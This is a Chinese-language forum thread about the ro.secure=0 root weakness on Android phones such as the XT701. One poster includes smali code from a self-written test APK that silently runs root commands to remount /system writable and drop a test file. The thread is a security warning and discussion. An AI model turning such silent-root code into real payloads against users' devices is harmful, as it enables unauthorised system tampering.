有裝 /system/bin/su 的請小心

所以那個懶人包的 update 完就會改成 ro.secure=0 了....

上面那個 apk 是我自己寫的, 只是拿來測試這個問題而已... :p
const-string v0, "SYSinfo"

const-string v1, "executing..."

invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I

.line 17
const-string v0, "mount -o rw,remount /dev/block/mtdblock6 /system"

invoke-direct {p0, v0}, Lcom/sys/info/SysInfo;->execAsRoot(Ljava/lang/String;)I

.line 18
const-string v0, "echo \"Booommmmm!\" > /system/test.txt"

invoke-direct {p0, v0}, Lcom/sys/info/SysInfo;->execAsRoot(Ljava/lang/String;)I

.line 19
const-string v0, "mount -o ro,remount /dev/block/mtdblock6 /system"

invoke-direct {p0, v0}, Lcom/sys/info/SysInfo;->execAsRoot(Ljava/lang/String;)I


如果你想要安裝來源不明的第三方軟體
請自己負擔責任
這就跟電腦一樣
為什麼有人用了防毒軟體還是會中毒
辦公室小狼狗 wrote:
應該是.secure...(恕刪)


好跳TONE的圖片...元大銀行是??@@
Facebook 反Samobile01專頁 成立!!
把圖換了

剛剛選錯圖沒發現

請當沒看見XD
看來XT701就是用ro.secure的漏洞來達成root
如果覺得ro.secure=0不妥的話
把它改成ro.secure=1不就好了
雖然不知道你在害羞啥?有問題就光明正大的版上討論,別人有相同問題才能一起受益,把問題PM我也沒用,會答的在討論區已經答了,發私訊問絕對不回。
virtual machine會檢查程式的權限...
也不是每個程式都可以執行process的,要經過特殊sign過。

不過如果這樣說的話,只要不是官方的rom自己去改,都會有危險。
文章分享
評分
評分
複製連結

今日熱門文章 網友點擊推薦!